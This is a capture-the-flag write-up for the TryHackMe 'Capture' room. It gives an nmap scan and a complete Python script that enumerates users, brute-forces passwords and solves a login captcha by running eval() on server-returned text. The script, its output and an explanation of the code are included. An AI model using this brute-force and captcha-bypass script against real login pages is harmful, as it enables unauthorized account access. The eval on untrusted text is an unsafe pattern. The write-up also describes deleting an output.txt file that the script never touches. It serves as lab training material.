Capture – A TryHackMe Writeup

It’s been a while since my last post but here we go again. This time with the Capture room on TryHackMe.

TryHackMe Room: LINK
Difficulty: Easy

Prerequisites

  • Connect to the TryHackMe VPN
  • Start the room and note the IP address of your server
  • Download the task files provided in the room

Recon

As with every CTF, we need to start with some reconnaissance.

└─$ nmap -sC -sV $IP         
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-18 20:53 CET
Nmap scan report for 10.10.81.250
Host is up (0.040s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.8.10)
|_http-server-header: Werkzeug/2.2.2 Python/3.8.10
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was /login

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.23 seconds

The only port available to us is port 80/http, which is serving a website. Upon checking, all we can find is a login page.

When entering admin:admin, we can see that the server responds with “The user ‘admin‘ does not exist“.

This tells us that we can potentially enumerate a list of existing users and then bruteforce the password. What a coincidence that the task files contain lists for both. Let’s get to work.

Brute Force

Bruteforcing can be done with a lot of tools, I like to use Hydra. However we quickly notice that the website starts asking for a captcha after a few login attempts.

The captcha is just a simple math equation but it makes using hydra or ffuf a lot harder. It’s time for a custom script.

Python code

To be completely clear, I am not an expert when it comes to Python. The following code works on my machine, but I cannot guarantee anything. I am absolutely sure that anyone with more Python experience would look at this and laugh.

#make sure that the captcha is already activated before running this script.

import requests
import os

#edit the target IP
target = "YOUR_IP_HERE"

# make sure that the task files are in the same directory
users = open("usernames.txt","r")
passwords = open("passwords.txt", "r")

#do not edit anything below here
captcha = ""
found_user = ""
found_password = ""

print("Enumerating users...")
for each in users:
	each = each.strip()
	r=requests.post("http://" + target + "/login", data={'username':each, 'password':'pass','captcha':captcha})
	output=r.text.split("\n")
	if "does not exist" not in r.text and "Invalid captcha" not in r.text:
		found_user = each	
		print("Username: " + found_user)
		break	
	captcha_question=output[96]
	captcha = eval(captcha_question[:-4])

	
print("Enumerating passwords...")
for each in passwords:
	each = each.strip()
	r=requests.post("http://" + target + "/login", data={'username':found_user, 'password':each,'captcha':captcha})
	output=r.text.split("\n")
	if "Invalid password" not in r.text and "Invalid captcha" not in r.text:
		print("Password: " + each)	
		found_password = each
		print("--------")
		print("Login Response:")
		print(r.text)
		exit()
	captcha_question=output[96]	
	captcha = eval(captcha_question[:-4])

└─$ python3 capture_thm.py
Enumerating users...
Username: ****
Enumerating passwords...
Password: ****
--------
Login Response:
<h2>Flag.txt:</h2>
<h3>**********************</h3>

Code Explanation

The script takes the provided files and sets them as variables.

users = open("usernames.txt","r")
passwords = open("passwords.txt", "r")

For each user in the usernames file we send a login request to the server and read the response. The respone contains a captcha on line 96 that is calculated and saved to a variable for the next request.

r=requests.post("http://" + target + "/login", data={'username':each, 'password':'pass','captcha':captcha})

[...]

captcha_question=output[96]

[...]

captcha = eval(captcha_question[:-4])

If the login response does not contain “Does not exist” or “Invalid captcha”, we know that we have found a valid username and break out of the loop.

if "does not exist" not in r.text and "Invalid captcha" not in r.text:
	found_user = each	
	print("Username: " + found_user)
	break

The password enumeration works almost the same with the only difference being that the login response now needs to be filtered for “Invalid password” instead of “Does not exist”. Once that is the case we print the response text which contains the flag. Also, we remove the output.txt file upon completion and exit the script.

if "Invalid password" not in r.text and "Invalid captcha" not in r.text:
	print("Password: " + each)	
	found_password = each
	print("--------")
	print("Login Response:")
	print(r.text)
	exit()

Fun Fact: If the correct username or password are the first entries in their files, the script won’t find them. The first request for each enumeration phase contains an empty captcha and returns “Invalid Captcha” as a response.

Conclusion

This concludes the Capture room on TryHackMe. I had a lot of fun solving this one and I learned a lot about Python programming. I am still bad at it tho… 🙂

Leave a comment

Your email address will not be published. Required fields are marked *

Consent Management Platform by Real Cookie Banner